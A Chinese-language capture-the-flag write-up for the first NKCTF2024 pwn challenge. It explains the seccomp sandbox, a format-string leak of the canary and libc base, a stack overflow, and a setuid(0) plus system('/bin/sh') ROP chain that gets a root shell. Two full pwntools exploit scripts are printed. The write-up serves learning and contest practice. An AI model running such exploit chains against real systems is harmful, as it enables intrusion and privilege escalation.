NKctf2024 第一题

这是一道之前在有个周末的比赛中的题,比赛是NKCTF2024,网站已经没有了,算是一个战队的招新比赛吧,不过算是一道比较简单的题,主要的漏洞就是格式化字符串漏洞和一个栈溢出,相较于之前那些动不动就上堆的题目好了不止一点,虽然在最后的时候还会有一个特别坑的地方,不够这就已经是后话了,等到的时候再慢慢说。

老规矩,先checksec一下程序,保护全开,有点难整,不过还是丢到ida里面去看看怎么样,

image-20240328153030882

这是在ida里面的主函数的样子

image-20240328153438575

有canary保护,主要程序一上来就是一个无限循环的函数,便开始跟随程序的过程一步一步来,先看sub_1289()这第一个函数,感觉像解决缓冲区的函数,

image-20240328153959045

果然是一个用于解决缓冲区的函数,不过问题是在代码的最后几行使用了,seccomp函数,这个函数一般是用来开起沙箱保护,关于具体使用沙箱禁止了哪些函数可以用工具直接查看,关于工具的使用如下

1
seccomp-tools dump ./文件名

关于这个工具,如果一个程序开启了沙箱,这会出现类似如下的情况,如果没开则会直接进入程序的执行过程

这道题的沙箱结果如下,

当时我第一次分析的时候,不理解这个沙箱的含义,误以为这个题是只能进行open函数的系统调用,导致做了一个下午的无用过,这里便将这个工具的大概讲一讲避免下次还出现这样的傻13问题

image-20240328155823265 image-20240328154528444

关于这个工具的具体是嘛,我已不太懂,不过现在大概明白该怎么看这个工具的使用,像这道题中就有A==open就跳转0007,而0007的内容便是kill像这种便是将open函数紧用,而其他的函数都是可以用的。如果还有其他函数后面跟的数字在前面的表中的最后是kill这这个函数便是禁用的,其他的函数便是可以用的,像这题便是可以通过system等系统调用从而进行拿到远程服务器的shell,但同时禁用的open便不再能使用orw的办法将远程的flag直接读到屏幕上。

现在便在次回到一开始的main函数中,开始执行,会要我们输入点东西,只是这个有限制,只能输入1和2并且输入2还没有什么用,暂时会回到程序一开始输入的地方,我们便只能输入1,进入到sub_188c()这个函数中,

image-20240328162015627

很明显这个函数中没有什么可以用的地方,但是当我们回到main函数中,找到sub_19EA()函数并进入其中,会发现直接出现了一个格式化漏洞,如下,

image-20240328162412607

很明显关这一个格式化漏洞变可以将canary和pie保护都给绕过,还可以将程序的libc_base地址暴露出来,配合同题目一起下载的libc版本,大部分栈的问题基本就解决了,虽然在这里能read的数据才只有8字节,能暴露的数据好像挺少的,但别忘了在main函数中这是一个巨大的无限循环函数,只要在执行完这个函数后再回到之前的地方,然后在执行会来便可以有多暴露几个地址。同时查看这个函数中的sub_1984()函数会发现,又有新的漏洞。

在这里我们想要进入sub_1984()函数之前还会有一个判断,当dword_504c < dword_5010会直接进入exit中从而结束进程,因此我们要保证dword_504c > dword_5010从而顺利进入sub_1984()函数,而这两个数dword_5010的大小为11682,而dword_504c则和之前的一个函数中的过程有关系,到之后在讲,反正要保证在执行这个函数之前dword_504c的值一定要大于11682。

image-20240328162449070

在这里有一个致命的漏洞,便是栈溢出,可以读0x80的数据但buf只能放0x30的数据,在结合之前的格式化字符串漏洞,将canary绕过,然后执行system(/bin/sh)便可以直接拿到shell。

那现在便要回到main函数中,看怎么才能到sub_19EA()中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
int v4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_1289();
v4 = 0;
while ( 1 )
{
while ( 1 )
{
sub_134F();
__isoc99_scanf("%d", &v3);
if ( v3 != 1 )
break;
sub_188C();
v4 = 1;
}
if ( v3 == 2 && v4 )
{
sub_19EA();
}
else
{
if ( v3 != 2 || v4 )
{
puts("Invalid option.");
exit(0);
}
puts("Calculate your rating first.");
}
}
}

在这里可以很明显看出来,要进入到其中必须保证输入的v3==2&&v4,而如果一开始就输入2那v4的值为0,将不会成立,因此要先执行v3==1是的所有函数并成功退出来,使v4==1,然后将v3输入2,才能进入其中,

于我们便进入sub_188C()函数中去寻找如何能过顺利通过这个函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 sub_188C()
{
double v0; // xmm0_8
int v1; // eax
int v3; // [rsp+8h] [rbp-28h]
int i; // [rsp+Ch] [rbp-24h]
double v5; // [rsp+10h] [rbp-20h] BYREF
double v6; // [rsp+18h] [rbp-18h]
char v7[5]; // [rsp+23h] [rbp-Dh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
v6 = 0.0;
puts("Input chart level and rank.");
for ( i = 0; i <= 49; ++i )
{
__isoc99_scanf("%lf %s", &v5, v7);
v0 = v5;
if ( v5 == 15.0 )
{
v1 = v3++;
if ( v1 == 2 )
{
puts("Invalid.");
return v8 - __readfsqword(0x28u);
}
}
sub_1633(v7);
v6 = v0 * v5 + v6;
}
dword_504C = (int)v6;
puts("Calculation Done.");
return v8 - __readfsqword(0x28u);
}

在第一次看这里的时候会发现是个有50次循环的函数,每一次都需要输入一个双精度浮点数(小数,121.22)和字符,然后好像只要输入的双精度浮点数是15.0,便可以满足第一个判断条件,使v1==v3++,由于输入时的v3为1那此时v1变等于2,满足条件,进入函数中,然后返回去。

这个如果是像上面想的一样就好了,但在运行时会发现并不是这样的,他依然会再次循环,重新输入两个数,因此不在想通过满足条件的方法返回,干脆直接写一个函数运行50次。进行50次的输入,从而完成循环,返回main函数。

在这里有一个函数是关于我们输入的字符v7的,如下

image-20240328185516369

这段代码看起来是一个简单的映射函数,根据输入的不同字符串返回不同的64位整数值。我们在运行时喂了满足要求,便可以将之前那个循环中的要输入的字符串,定为这里面的随机一个(C,D,A,B任选一个便可以)。

再往下面看会有两行有趣的代码:

1
2
v6 = v0 * v5 + v6;
dword_504C = (int)v6;

在前面的代码可以知道,v5是我们输入的数,v0==v5,在执行这里前v6=0,因此dword_504C值等于我们再循环中输入的最后一次的数的平方,然后在后面我们为了要进入那个漏洞函数必须要保证dword_504c的值一定要大于11682,因此我们写入得数可以考虑大一点,方便后面直接进入栈溢出函数,

于此便可以写出能进入sub_19EA()函数的脚本

1
2
3
4
5
6
p.sendlineafter(b'Select a option:\n',b'1')

for i in range(50):
p.sendline('111.0 SSS+')

p.sendlineafter(b'Select a option:\n',b'2')

自此便能顺利进入sub_19EA()函数中,进行地址的泄露,和栈溢出,这里边不在多讲,比较简单,只要注意的在与,当到栈溢出时候,只要不溢出,便又会回到main函数,并且这里由于之前已经将1中的过程过了便可以不在过1,直接进行2进入到格式化漏洞出。

具体的看exp便可以,然后在exp中由于在一开始写的时候将沙箱的内容看错,因此有的写的多了,在真正用的并不是全部的,有的可以删去,并没有删(太懒了不想动了),并且有的地方可以写成函数已没有,因此重复的地方有点多(python有点差了·,找时间补一下)具体的自己看吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
p = process("./pwn1")
#p = remote("node.nkctf.yuzhian.com.cn", 38793 )
context(log_level = 'debug' ,arch = 'amd64')

#gdb.attach(p,'b $rebase(0x19e8)')
#pause()
#在这题中由于开启了PIE保护,故要下断点必须加上$rebase()

p.sendlineafter(b'Select a option:\n',b'1')

for i in range(50):
p.sendline('111.0 SSS+')
p.sendlineafter(b'Select a option:\n',b'2')
#以上是进入漏洞函数

p.sendlineafter(b'nickname.\n',b'%11$p')
p.recvuntil('0x')
canary =int(p.recv(16),16)
print('canary: ',hex(canary))
#将canary的值暴露出来,方便栈溢出

p.sendlineafter(b'maimai?\n',b'0')
#为了回到main函数中,随便读入数据进去

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%33$p')
p.recvuntil('0x')
libc_start_main_128=int(p.recv(12),16)
print('libc_start_main_128: ',hex(libc_start_main_128))
libc_start_main=libc_start_main_128-128
print('libc_start_main: ',hex(libc_start_main))
#将libc_base的值暴露出来,先随便暴露一个函数的got表地址

#elo=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elo=ELF('libc.so.6')
libc_start_main_libc=elo.symbols['__libc_start_main']
print('__libc_start_main_libc',hex(libc_start_main_libc))
open_libc=elo.symbols['open']
print('open_libc',hex(open_libc))
setuid_libc=elo.symbols['setuid']

#通过链接libc库从而找到暴露的函数的偏移量,以及需要的函数的偏移量

pop_rdi_ret_libc=0x2a3e5
pop_rsi_ret_libc=0x2be51
pop_rbp_ret_libc=0x2a2e0
pop_rdx_pop_r12_ret_libc=0x11f2e7
#在库中找到的pop指令,便于payload的使用


base_libc=libc_start_main-libc_start_main_libc
print('base_libc',hex(base_libc))
open = open_libc+base_libc
print('open: ',hex(open))

pop_rdi_ret=pop_rdi_ret_libc+base_libc
pop_rsi_ret=pop_rsi_ret_libc+base_libc
pop_rbp_ret=pop_rbp_ret_libc+base_libc
pop_rdx_pop_r12_ret=pop_rdx_pop_r12_ret_libc+base_libc
#确定真实地址

p.sendlineafter(b'maimai?\n',b'0')

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%8$p')
p.recvuntil('0x')
zhan=int(p.recv(12),16)
print('zhen: ',hex(zhan))
flag=zhan-0x70
print('flag: ',hex(flag))
#为了暴露程序指令的真实地址

p.sendlineafter(b'maimai?\n',b'0')

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%9$p')
p.recvuntil('0x')
cx_libc=int(p.recv(12),16)
print('cx_libc: ',hex(cx_libc))

cx_base=cx_libc-0x1b25
print('cx_base: ',hex(cx_base))
#暴露栈地址(这个和上面那个其实都可以不要)

syscall = base_libc + 0x0000000000091316
pop_rax = base_libc + 0x0000000000045eb0

read_cx=0x1150
puts_cx=0x1110
bss_cx=0x5070
leave_cx=0x19E8
main_cx=0x1984
main=main_cx+cx_base
leave=leave_cx+cx_base

exe = base_libc + 0xebc8
puts = cx_base + 0x4FB0
str = base_libc + next(elo.search(bytes('/bin/sh', 'utf-8')))
sys_ = base_libc + elo.symbols['system']
ret = base_libc + 0x29139


print('leqave: ',hex(leave))
read_plt=read_cx+cx_base
print('read_plt: ',hex(read_plt))
puts_plt=puts_cx+cx_base
print('puts_plt: ',hex(puts_plt))
bss=bss_cx+cx_base
print('bss: ',hex(bss))

setuid_libc=elo.symbols['setuid']
setuid=setuid_libc+base_libc
#cat os.setuid(0)

payload=b'A'*0x28+p64(canary)+p64(0)
#栈溢出的基本准备,从输入到canary的长度的垃圾数据+canary的值+覆盖ebp的8字节垃圾数据

payload += flat(ret,pop_rdi_ret, str, ret,sys_)
#以此在栈溢出后执行system(/bin/sh)然后获得shell

p.sendafter(b'maimai?\n',payload)
p.interactive()



使用如上的脚本然后攻击便可以拿到服务器的shell但是当你直接运行这个拿到shell准备开始读取flag文件是会发现权限不足,并且在其中将chmod等加权的命令禁止,这里便是我看来这道提最为难受的地方,以及拿到shell但由于flag文件的读取需要root权限导致到嘴的鸭子没了,就眼睁睁看着flag文件就在面前却读取不了,当时在比赛中这题我到这里是已经是最后10分钟了,由于我在之前并没有接触过这个东西,因此及时到结束都依然存在flag读不出来这个问题。

image-20240328205758246

后来在学长的指导下才知道这个知识点,也算是收货了一波新知识。

关于这个知识先来看一个点,在拿到shell后由于ls类命令还是可以使用的边可以看看个个文件的权限。用ls -ld的指令

image-20240325200803566

在这里边更可以看出此时的flag文件只有一个root用户的rw权限,而此时我们的权限只是一个低用户的权限,故我们并不能之前读取这个文件,同时这个里面还将chmod等加权命令禁止了,故必须想其他的办法,我们便从新看看这个各各文件的权限,会发现在pwn这个文件中有一个其他文件都没有的权限s,而pwn正是我们所攻击的文件,或许这个pwn文件的s权限说不定便是一个比较特殊的突破口。

首先来小小的介绍这个s权限是什么(大量源于网上内容,可能不真)

s权限: 设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份. 典型的文件是passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

举个简单的例子,某个可执行文件foo,如果起所有者为root,在其权限为普通的x的时候,该文件被执行的时候,是以执行该文件的用户权限在执行。但是将其设置为s的时候,该文件被执行就是以root权限来执行了。

s权限的作用:表示对文件具用可执行权限的用户将使用文件拥有者的权限或文件拥有者所在组的权限在对文件进行执行

简单来说就是当一个文件拥有s权限后便可以在通过一下特殊的执行后可以获得root的用户权限

诶,这一听是不是刚刚好,只要我们能通过这个特殊的调用然后执行这个文件不就刚刚好有root权限级的shell从而能读取flag的内容,可是问题在于这个特殊的调用是什么?

正是setuid 位

当使用 setuid (设置用户 ID)位时,之前描述的行为会有所变化,所以当一个可执行文件启动时,它不会以启动它的用户的权限运行,而是以该文件所有者的权限运行。所以,如果在一个可执行文件上设置了 setuid 位,并且该文件由 root 拥有,当一个普通用户启动它时,它将以 root 权限运行。显然,如果 setuid 位使用不当的话,会带来潜在的安全风险。

使用 setuid 权限的可执行文件的例子是 passwd,我们可以使用该程序更改登录密码。我们可以通过使用 ls 命令来验证:

1
2
ls -l /bin/passwd
-rwsr-xr-x. 1 root root 27768 Feb 11 2017 /bin/passwd

简单来说就是,就是使用setuid函数,准确来说便是在栈溢出后执行setuid(0),然后再执行system(/bin/sh)

便可以拿到有root级的shell,而这个setuid函数可以直接在libc库中寻找

1
2
3
4
elo=ELF('libc.so.6')
setuid_libc=elo.symbols['setuid']
setuid=setuid_libc+base_libc
payload=flat(pop_rdi_ret,0,stuid,用于拿到shell的过程)

因此这道题的完整版exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
p = process("./pwn1")
#p = remote("node.nkctf.yuzhian.com.cn", 38793 )
context(log_level = 'debug' ,arch = 'amd64')

#gdb.attach(p,'b $rebase(0x19e8)')
#pause()
#在这题中由于开启了PIE保护,故要下断点必须加上$rebase()

p.sendlineafter(b'Select a option:\n',b'1')

for i in range(50):
p.sendline('111.0 SSS+')
p.sendlineafter(b'Select a option:\n',b'2')
#以上是进入漏洞函数

p.sendlineafter(b'nickname.\n',b'%11$p')
p.recvuntil('0x')
canary =int(p.recv(16),16)
print('canary: ',hex(canary))
#将canary的值暴露出来,方便栈溢出

p.sendlineafter(b'maimai?\n',b'0')
#为了回到main函数中,随便读入数据进去

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%33$p')
p.recvuntil('0x')
libc_start_main_128=int(p.recv(12),16)
print('libc_start_main_128: ',hex(libc_start_main_128))
libc_start_main=libc_start_main_128-128
print('libc_start_main: ',hex(libc_start_main))
#将libc_base的值暴露出来,先随便暴露一个函数的got表地址

#elo=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elo=ELF('libc.so.6')
libc_start_main_libc=elo.symbols['__libc_start_main']
print('__libc_start_main_libc',hex(libc_start_main_libc))
open_libc=elo.symbols['open']
print('open_libc',hex(open_libc))
setuid_libc=elo.symbols['setuid']

#通过链接libc库从而找到暴露的函数的偏移量,以及需要的函数的偏移量

pop_rdi_ret_libc=0x2a3e5
pop_rsi_ret_libc=0x2be51
pop_rbp_ret_libc=0x2a2e0
pop_rdx_pop_r12_ret_libc=0x11f2e7
#在库中找到的pop指令,便于payload的使用


base_libc=libc_start_main-libc_start_main_libc
print('base_libc',hex(base_libc))
open = open_libc+base_libc
print('open: ',hex(open))

pop_rdi_ret=pop_rdi_ret_libc+base_libc
pop_rsi_ret=pop_rsi_ret_libc+base_libc
pop_rbp_ret=pop_rbp_ret_libc+base_libc
pop_rdx_pop_r12_ret=pop_rdx_pop_r12_ret_libc+base_libc
#确定真实地址

p.sendlineafter(b'maimai?\n',b'0')

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%8$p')
p.recvuntil('0x')
zhan=int(p.recv(12),16)
print('zhen: ',hex(zhan))
flag=zhan-0x70
print('flag: ',hex(flag))
#为了暴露程序指令的真实地址

p.sendlineafter(b'maimai?\n',b'0')

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%9$p')
p.recvuntil('0x')
cx_libc=int(p.recv(12),16)
print('cx_libc: ',hex(cx_libc))

cx_base=cx_libc-0x1b25
print('cx_base: ',hex(cx_base))
#暴露栈地址(这个和上面那个其实都可以不要)

syscall = base_libc + 0x0000000000091316
pop_rax = base_libc + 0x0000000000045eb0

read_cx=0x1150
puts_cx=0x1110
bss_cx=0x5070
leave_cx=0x19E8
main_cx=0x1984
main=main_cx+cx_base
leave=leave_cx+cx_base

exe = base_libc + 0xebc8
puts = cx_base + 0x4FB0
str = base_libc + next(elo.search(bytes('/bin/sh', 'utf-8')))
sys_ = base_libc + elo.symbols['system']
ret = base_libc + 0x29139


print('leqave: ',hex(leave))
read_plt=read_cx+cx_base
print('read_plt: ',hex(read_plt))
puts_plt=puts_cx+cx_base
print('puts_plt: ',hex(puts_plt))
bss=bss_cx+cx_base
print('bss: ',hex(bss))

setuid_libc=elo.symbols['setuid']
setuid=setuid_libc+base_libc
#cat os.setuid(0)
#获得setuid函数的地址

payload=b'A'*0x28+p64(canary)+p64(0)
#栈溢出的基本准备,从输入到canary的长度的垃圾数据+canary的值+覆盖ebp的8字节垃圾数据

payload += flat(ret,pop_rdi_ret,0,setuid,pop_rdi_ret, str, ret,sys_)
#以此在栈溢出后先执行setuid(0),然后在执行system(/bin/sh)然后获得root级shell,便可以直接用cat flag将flag读出来

p.sendafter(b'maimai?\n',payload)
p.interactive()



终于写完关于这道题的wp,虽然有的地方比较省,不过那些都是一些比较基本的东西,应该都能看懂的吧。

做了一天,wp一天,所幸还是有所收获,这就好,前途漫漫亦灿灿。

image-20240328214024472